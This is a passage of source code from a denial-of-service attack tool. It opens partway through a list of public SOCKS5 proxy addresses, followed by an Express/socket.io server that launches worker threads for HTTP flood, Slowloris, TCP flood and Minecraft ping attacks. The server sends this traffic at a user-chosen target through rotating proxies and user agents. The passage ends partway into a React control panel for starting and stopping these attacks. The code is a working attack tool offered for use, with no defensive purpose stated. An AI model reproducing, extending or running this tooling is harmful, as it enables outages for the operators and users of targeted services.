| socks5://162.240.172.209:48933 171 | socks5://72.14.190.102:48275 172 | socks5://68.178.203.148:11243 173 | socks5://148.72.209.120:14353 174 | socks5://85.117.56.174:63772 175 | socks5://148.251.193.43:9468 176 | socks5://51.75.126.150:6712 177 | socks5://132.148.167.243:16444 178 | socks5://46.105.105.223:55303 179 | socks5://51.210.111.216:29963 180 | socks5://8.218.37.69:10001 181 | socks5://194.163.170.34:42886 182 | socks5://109.123.254.43:37290 183 | socks5://122.51.39.108:20020 184 | socks5://141.94.107.204:53558 185 | socks5://94.103.88.122:14578 186 | socks5://148.251.154.233:19478 187 | socks5://66.29.138.67:43767 188 | socks5://162.19.60.219:58997 189 | socks5://142.93.249.184:16422 190 | socks5://144.217.253.110:48458 191 | socks5://8.217.195.141:12346 192 | socks5://185.54.178.193:1080 193 | socks5://79.139.57.142:57810 194 | socks5://82.223.165.28:39998 195 | socks5://46.146.220.180:1080 196 | socks5://198.12.248.208:10570 197 | socks5://68.178.203.148:2898 198 | socks5://188.166.234.144:34302 199 | socks5://162.241.129.84:56967 200 | socks5://37.187.73.7:59841 201 | socks5://207.180.204.96:13660 202 | socks5://51.75.126.150:10087 203 | socks5://46.105.105.223:15640 204 | socks5://103.54.217.81:8199 205 | socks5://101.37.12.43:1234 206 | socks5://46.105.105.223:4498 207 | socks5://188.164.196.31:56509 208 | socks5://132.148.167.243:42673 209 | socks5://198.12.249.249:30563 210 | socks5://162.240.172.209:64931 211 | socks5://5.183.70.46:1080 212 | socks5://213.35.126.218:7868 213 | socks5://88.214.25.251:7559 214 | socks5://37.187.131.224:39135 215 | socks5://54.37.11.28:57495 216 | socks5://46.105.105.223:16480 217 | socks5://66.29.138.31:59377 218 | socks5://162.240.103.65:48548 219 | socks5://68.183.122.221:32890 220 | socks5://184.168.121.153:12475 221 | socks5://163.172.144.96:16379 222 | socks5://46.105.105.223:51020 223 | socks5://82.223.165.28:23496 224 | socks5://51.155.10.0:8000 225 | socks5://68.178.201.83:11680 226 | socks5://212.47.237.84:16379 227 | socks5://172.233.14.116:1080 228 | socks5://89.221.212.251:6801 229 | socks5://159.89.164.144:52342 230 | socks5://51.75.121.63:33881 231 | socks5://184.168.121.153:49562 232 | socks5://89.221.212.251:61634 233 | socks5://72.167.224.168:55669 234 | socks5://162.241.73.195:51482 235 | socks5://91.121.37.143:30535 236 | socks5://205.251.155.163:31137 237 | socks5://51.15.139.14:16379 238 | socks5://51.210.111.216:16466 239 | socks5://194.87.226.160:1080 240 | socks5://64.207.158.49:26418 -------------------------------------------------------------------------------- /server/index.ts: -------------------------------------------------------------------------------- 1 | import express from "express"; 2 | import { createServer } from "http"; 3 | import { dirname, join } from "path"; 4 | import { readFileSync, writeFileSync, appendFileSync } from "fs"; 5 | import { Server } from "socket.io"; 6 | import { fileURLToPath } from "url"; 7 | import { Worker } from "worker_threads"; 8 | 9 | import { currentPath, loadProxies, loadUserAgents } from "./fileLoader"; 10 | import { AttackMethod, Proxy } from "./lib"; 11 | import { filterProxies } from "./proxyUtils"; 12 | import bodyParser from "body-parser"; 13 | 14 | import { existsSync } from "fs"; 15 | 16 | if (!existsSync(join(currentPath(), "data", "good_proxy.txt"))) { 17 | writeFileSync(join(currentPath(), "data", "good_proxy.txt"), "", { encoding: "utf-8" }); 18 | } 19 | if (!existsSync(join(currentPath(), "data", "bad_proxy.txt"))) { 20 | writeFileSync(join(currentPath(), "data", "bad_proxy.txt"), "", { encoding: "utf-8" }); 21 | } 22 | 23 | 24 | // Define the workers based on attack type 25 | const attackWorkers: { [key in AttackMethod]: string } = { 26 | http_flood: "./workers/httpFloodAttack.js", 27 | http_slowloris: "./workers/httpSlowlorisAttack.js", 28 | tcp_flood: "./workers/tcpFloodAttack.js", 29 | minecraft_ping: "./workers/minecraftPingAttack.js", 30 | }; 31 | 32 | // --- Optimized Proxy Saving (Non-blocking) --- 33 | const pendingGoodProxies = new Set(); 34 | const pendingBadProxies = new Set(); 35 | 36 | function flushProxiesToDisk() { 37 | if (pendingGoodProxies.size > 0) { 38 | const data = Array.from(pendingGoodProxies).join("\n") + "\n"; 39 | appendFileSync(join(currentPath(), "data", "good_proxy.txt"), data, { encoding: "utf-8" }); 40 | pendingGoodProxies.clear(); 41 | } 42 | if (pendingBadProxies.size > 0) { 43 | const data = Array.from(pendingBadProxies).join("\n") + "\n"; 44 | appendFileSync(join(currentPath(), "data", "bad_proxy.txt"), data, { encoding: "utf-8" }); 45 | pendingBadProxies.clear(); 46 | } 47 | } 48 | 49 | // Flush every 30 seconds 50 | setInterval(flushProxiesToDisk, 30000); 51 | // --------------------------------------------- 52 | 53 | 54 | const __filename = fileURLToPath(import.meta.url); 55 | const __dirname = dirname(__filename); 56 | 57 | const app = express(); 58 | const httpServer = createServer(app); 59 | const CORS_ORIGIN = process.env.CORS_ORIGIN || "http://localhost:5173"; 60 | 61 | const io = new Server(httpServer, { 62 | cors: { 63 | origin: CORS_ORIGIN, 64 | methods: ["GET", "POST"], 65 | allowedHeaders: ["Content-Type"] 66 | }, 67 | }); 68 | 69 | const proxies = loadProxies(); 70 | const userAgents = loadUserAgents(); 71 | 72 | console.log("Proxies loaded:", proxies.length); 73 | console.log("User agents loaded:", userAgents.length); 74 | 75 | // Map to track workers per socket connection 76 | const socketWorkers = new Map(); 77 | 78 | io.on("connection", (socket) => { 79 | console.log("Client connected"); 80 | 81 | socket.emit("stats", { 82 | pps: 0, 83 | bots: proxies.length, 84 | totalPackets: 0, 85 | log: "🍤 Connected to the server.", 86 | }); 87 | 88 | socket.on("startAttack", (params) => { 89 | const { target, duration, attackMethod, useMyIP } = params; 90 | const packetDelay = parseInt(params.packetDelay) || 0; 91 | const packetSize = parseInt(params.packetSize) || 64; 92 | const attackWorkerFile = attackWorkers[attackMethod as AttackMethod]; 93 | 94 | if (!attackWorkerFile) { 95 | socket.emit("stats", { 96 | log: `❌ Unsupported attack type: ${attackMethod}`, 97 | }); 98 | return; 99 | } 100 | 101 | let workerProxies: Proxy[] = []; 102 | if (useMyIP) { 103 | // Direct Mode: No proxies, just one "bot" (the server itself) 104 | workerProxies = []; 105 | socket.emit("stats", { 106 | log: `⚠️ Attack with current single IP`, 107 | bots: 1, 108 | }); 109 | } else { 110 | // Proxy Mode 111 | workerProxies = filterProxies(proxies, attackMethod); 112 | socket.emit("stats", { 113 | log: `🍒 Attack with ${workerProxies.length} total proxy`, 114 | bots: workerProxies.length, 115 | }); 116 | } 117 | 118 | const worker = new Worker(join(__dirname, attackWorkerFile), { 119 | workerData: { 120 | target, 121 | proxies: workerProxies, 122 | userAgents, 123 | duration, 124 | packetDelay, 125 | packetSize, 126 | useMyIP // Pass this flag to the worker 127 | }, 128 | }); 129 | 130 | worker.on("message", (message) => { 131 | // Handle batched stats (if worker provides them) 132 | if (message.type === 'stats') { 133 | socket.emit("stats", { 134 | pps: message.pps, 135 | totalPackets: message.totalPackets, 136 | log: message.log // Optional log message 137 | }); 138 | return; 139 | } 140 | 141 | // Legacy/Fallback handling for direct log strings (if strictly needed, but better to avoid) 142 | socket.emit("stats", message); 143 | 144 | // Handle proxy feedback (batched in memory) 145 | if (message.type === 'proxy_status') { 146 | // Expect message: { type: 'proxy_status', good: [...], bad: [...] } 147 | if (message.good) message.good.forEach((p: string) => pendingGoodProxies.add(p)); 148 | if (message.bad) { 149 | message.bad.forEach((p: string) => pendingBadProxies.add(p)); 150 | 151 | // Log sample failures to client (Limit to avoid flooding) 152 | const maxSamples = 3; 153 | const samples = message.bad.slice(0, maxSamples); 154 | samples.forEach((proxy: string) => { 155 | socket.emit("stats", { 156 | log: `❌ Proxy connection failed: ${proxy}` 157 | }); 158 | }); 159 | if (message.bad.length > maxSamples) { 160 | socket.emit("stats", { 161 | log: `❌ ...and ${message.bad.length - maxSamples} other proxies failed` 162 | }); 163 | } 164 | } 165 | } 166 | // Legacy log parsing (Deprecated but kept for compatibility during transition if needed) 167 | else if (message.log) { 168 | const log = message.log as string; 169 | if (log.startsWith("✅")) { 170 | const match = log.match(/from (.*?) to/); 171 | if (match && match[1]) pendingGoodProxies.add(match[1]); 172 | } else if (log.startsWith("❌")) { 173 | const match = log.match(/from (.*?) to/); 174 | if (match && match[1]) pendingBadProxies.add(match[1]); 175 | } 176 | } 177 | }); 178 | 179 | worker.on("error", (error) => { 180 | console.error(`Worker error: ${error.message}`); 181 | socket.emit("stats", { log: `❌ Worker error: ${error.message}` }); 182 | }); 183 | 184 | worker.on("exit", (code) => { 185 | console.log(`Worker exited with code ${code}`); 186 | flushProxiesToDisk(); // Ensure data is saved on exit 187 | socket.emit("attackEnd"); 188 | }); 189 | 190 | socketWorkers.set(socket.id, worker); 191 | }); 192 | 193 | socket.on("stopAttack", () => { 194 | const worker = socketWorkers.get(socket.id); 195 | if (worker) { 196 | worker.terminate(); 197 | flushProxiesToDisk(); 198 | socket.emit("attackEnd"); 199 | socketWorkers.delete(socket.id); 200 | } 201 | }); 202 | 203 | socket.on("disconnect", () => { 204 | const worker = socketWorkers.get(socket.id); 205 | if (worker) { 206 | worker.terminate(); 207 | flushProxiesToDisk(); 208 | socketWorkers.delete(socket.id); 209 | } 210 | console.log("Client disconnected"); 211 | }); 212 | }); 213 | 214 | app.get("/configuration", (req, res) => { 215 | res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173") 216 | res.setHeader("Content-Type", "application/json"); 217 | let proxiesText = readFileSync(join(currentPath(), "data", "proxies.txt"), "utf-8"); 218 | let uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8"); 219 | 220 | res.send({ 221 | proxies: btoa(proxiesText), 222 | uas: btoa(uasText), 223 | }) 224 | }) 225 | 226 | app.options('/configuration', (req, res) => { 227 | res.setHeader('Access-Control-Allow-Origin', 'http://localhost:5173'); 228 | res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS'); 229 | res.setHeader('Access-Control-Allow-Headers', 'Content-Type'); 230 | res.send(); 231 | }); 232 | 233 | 234 | app.post("/configuration", bodyParser.json(), (req, res) => { 235 | res.setHeader("Access-Control-Allow-Methods", "POST"); 236 | res.setHeader("Access-Control-Allow-Headers", "Content-Type") 237 | res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173") 238 | res.setHeader("Content-Type", "application/text"); 239 | 240 | // console.log(req.body) 241 | 242 | // atob and btoa are used to avoid the problems in sending data with // characters, etc. 243 | let proxies = atob(req.body["proxies"]); 244 | let uas = atob(req.body["uas"]); 245 | writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, { 246 | encoding: "utf-8" 247 | }); 248 | writeFileSync(join(currentPath(), "data", "uas.txt"), uas, { 249 | encoding: "utf-8" 250 | }); 251 | 252 | res.send("OK") 253 | }) 254 | 255 | const PORT = process.env.PORT || 3000; 256 | httpServer.listen(PORT, () => { 257 | console.log(`Server running on port ${PORT}`); 258 | }); 259 | 260 | -------------------------------------------------------------------------------- /src/App.tsx: -------------------------------------------------------------------------------- 1 | import { Bot, ScrollText, Wand2, Wifi, Zap, Globe, HelpCircle, FileEdit, CheckSquare, Square } from "lucide-react"; 2 | import { useEffect, useRef, useState } from "react"; 3 | import { io } from "socket.io-client"; 4 | import { translations, Language } from "./translations"; 5 | import { SYSTEM_USER_AGENTS } from "./defaultUserAgents"; 6 | 7 | const socket = io("http://localhost:3000"); 8 | 9 | 10 | 11 | function Tooltip({ text }: { text: string }) { 12 | return ( 13 |
14 | 15 |
16 | {text} 17 |
18 |
19 | ); 20 | } 21 | 22 | function ConfigureProxiesAndAgentsView({ onClose, lang }: { onClose: () => void, lang: Language }) { 23 | const t = translations[lang]; 24 | const [loadingConfiguration, setLoadingConfiguration] = useState(false); 25 | const [configuration, setConfiguration] = useState([]); 26 | const [activeTab, setActiveTab] = useState<'proxies' | 'uas'>('proxies'); 27 | const [useSystemUAS, setUseSystemUAS] = useState(false); 28 | const [customUAS, setCustomUAS] = useState(""); 29 | 30 | async function retrieveConfiguration(): Promise { 31 | const response = await fetch(`http://localhost:3000/configuration`); 32 | const information = (await response.json()) as { 33 | proxies: string; 34 | uas: string; 35 | }; 36 | 37 | const proxies = atob(information.proxies); 38 | const uas = atob(information.uas); 39 | 40 | return [proxies, uas]; 41 | } 42 | 43 | useEffect(() => { 44 | if (!loadingConfiguration) { 45 | setLoadingConfiguration(true); 46 | retrieveConfiguration().then((config) => { 47 | setLoadingConfiguration(false); 48 | setConfiguration(config); 49 | setCustomUAS(config[1]); 50 | }); 51 | } 52 | }, []); 53 | 54 | const toggleSystemUAS = () => { 55 | const newState = !useSystemUAS; 56 | setUseSystemUAS(newState); 57 | if (newState) { 58 | setCustomUAS(configuration[1]); 59 | setConfiguration([configuration[0], SYSTEM_USER_AGENTS.join('\n')]); 60 | } else { 61 | setConfiguration([configuration[0], customUAS]); 62 | } 63 | }; 64 | 65 | function saveConfiguration() { 66 | const obj = { 67 | proxies: btoa(configuration[0]), 68 | uas: btoa(configuration[1]), 69 | }; 70 | 71 | const response = fetch(`http://localhost:3000/configuration`, { 72 | method: "POST", 73 | headers: { 74 | "Content-Type": "application/json", 75 | }, 76 | body: JSON.stringify(obj), 77 | }); 78 | 79 | response.then(() => { 80 | alert("Saved"); 81 | window.location.reload(); 82 | }); 83 | } 84 | 85 | return ( 86 |
87 |
88 | 89 | {/* Header / Tabs */} 90 |
91 | 101 | 111 | 112 | {/* Close Button */} 113 | 121 |
122 | 123 | {/* Content Area */} 124 |
125 | {loadingConfiguration ? ( 126 |
127 | Loading 128 |

{t.loading}

129 |
130 | ) : ( 131 |
132 | {/* Context Info */} 133 |
134 |
135 |
136 | 137 | Input Editor 138 |
139 | | 140 | {activeTab === 'uas' ? ( 141 | 145 | ) : ( 146 | Supported: HTTP, SOCKS4, SOCKS5 147 | )} 148 |
149 | {configuration[activeTab === 'proxies' ? 0 : 1]?.split('\n').filter(l => l.trim()).length || 0} lines 150 |
151 | 152 | {/* Editor Area */} 153 |
154 | 172 | 173 |
174 | 175 | {/* Action Bar */} 176 |
177 | 184 |
185 |
186 | )} 187 |
188 |
189 |
190 | ); 191 | } 192 | 193 | function App() { 194 | const [isAttacking, setIsAttacking] = useState(false); 195 | const [actuallyAttacking, setActuallyAttacking] = useState(false); 196 | const [animState, setAnimState] = useState(0); 197 | const [logs, setLogs] = useState([]); 198 | const [progress, setProgress] = useState(0); 199 | const [target, setTarget] = useState(""); 200 | const [attackMethod, setAttackMethod] = useState("http_flood"); 201 | const [packetSize, setPacketSize] = useState(64); 202 | const [duration, setDuration] = useState(60); 203 | const [packetDelay, setPacketDelay] = useState(100); 204 | const [stats, setStats] = useState({ 205 | pps: 0, 206 | bots: 0, 207 | totalPackets: 0, 208 | }); 209 | const [lastUpdatedPPS, setLastUpdatedPPS] = useState(Date.now()); 210 | const [lastTotalPackets, setLastTotalPackets] = useState(0); 211 | const [currentTask, setCurrentTask] = useState(null); 212 | const [audioVol, setAudioVol] = useState(100); 213 | const [openedConfig, setOpenedConfig] = useState(false); 214 | const [useMyIP, setUseMyIP] = useState(false); 215 | const [lang, setLang] = useState("en"); 216 | const t = translations[lang]; 217 | 218 | const audioRef = useRef(null); 219 | 220 | useEffect(() => { 221 | if (audioRef.current) { 222 | const audio = audioRef.current; 223 | const handler = () => { 224 | if (audio.paused) return; 225 | 226 | if ( 227 | animState !== 2 && 228 | audio.currentTime > 5.24 && 229 | audio.currentTime < 9.4 230 | ) { 231 | setAnimState(2); 232 | } 233 | if (audio.currentTime > 17.53) { 234 | audio.currentTime = 15.86; 235 | } 236 | }; 237 | 238 | audio.addEventListener("timeupdate", handler); 239 | return () => { 240 | audio.removeEventListener("timeupdate", handler); 241 | }; 242 | } 243 | }, [audioRef]); 244 | 245 | useEffect(() => { 246 | if (!isAttacking) { 247 | setActuallyAttacking(false); 248 | setAnimState(0); 249 | 250 | const audio = audioRef.current; 251 | if (audio) { 252 | audio.pause(); 253 | audio.currentTime = 0; 254 | } 255 | 256 | if (currentTask) { 257 | clearTimeout(currentTask); 258 | } 259 | } 260 | }, [isAttacking, currentTask]); 261 | 262 | useEffect(() => { 263 | const now = Date.now(); 264 | if (now - lastUpdatedPPS >= 500) { 265 | setLastUpdatedPPS(now); 266 | setStats((old) => ({ 267 | pps: (old.totalPackets - lastTotalPackets) / (now - lastUpdatedPPS), 268 | bots: old.bots, 269 | totalPackets: old.totalPackets, 270 | })); 271 | setLastTotalPackets(stats.totalPackets); 272 | } 273 | }, [lastUpdatedPPS, lastTotalPackets, stats.totalPackets]); 274 | 275 | useEffect(() => { 276 | socket.on("stats", (data) => { 277 | setStats((old) => ({ 278 | pps: data.pps || old.pps, 279 | bots: data.bots || old.bots, 280 | totalPackets: data.totalPackets || old.totalPackets, 281 | })); 282 | if (data.log) addLog(data.log); 283 | setProgress((prev) => (prev + 10) % 100); 284 | }); 285 | 286 | socket.on("attackEnd", () => { 287 | setIsAttacking(false); 288 | }); 289 | 290 | return () => { 291 | socket.off("stats"); 292 | socket.off("attackEnd"); 293 | }; 294 | }, []); 295 | 296 | useEffect(() => { 297 | if (audioRef.current) { 298 | audioRef.current.volume = audioVol / 100; 299 | } 300 | }, [audioVol]); 301 | 302 | const addLog = (message: string) => { 303 | setLogs((prev) => [message, ...prev].slice(0, 12)); 304 | }; 305 | 306 | const startAttack = (isQuick?: boolean) => { 307 | if (!target.trim()) { 308 | alert(t.enterTarget); 309 | return; 310 | } 311 | 312 | setIsAttacking(true); 313 | setStats((old) => ({ 314 | pps: 0, 315 | bots: old.bots, 316 | totalPackets: 0, 317 | })); 318 | addLog(t.preparing); 319 | 320 | // Play audio 321 | if (audioRef.current) { 322 | audioRef.current.currentTime = isQuick ? 9.5 : 0; 323 | audioRef.current.volume = audioVol / 100; 324 | audioRef.current.play(); 325 | } 326 | 327 | if (!isQuick) setAnimState(1); 328 | 329 | // Start attack after audio intro 330 | const timeout = setTimeout( 331 | () => { 332 | setActuallyAttacking(true); 333 | setAnimState(3); 334 | socket.emit("startAttack", { 335 | target, 336 | packetSize, 337 | duration, 338 | packetDelay, 339 | attackMethod, 340 | useMyIP, 341 | }); 342 | }, 343 | isQuick ? 700 : 10250 344 | ); 345 | setCurrentTask(timeout); 346 | }; 347 | 348 | const stopAttack = () => { 349 | socket.emit("stopAttack"); 350 | setIsAttacking(false); 351 | }; 352 | 353 | return ( 354 |
362 | 363 |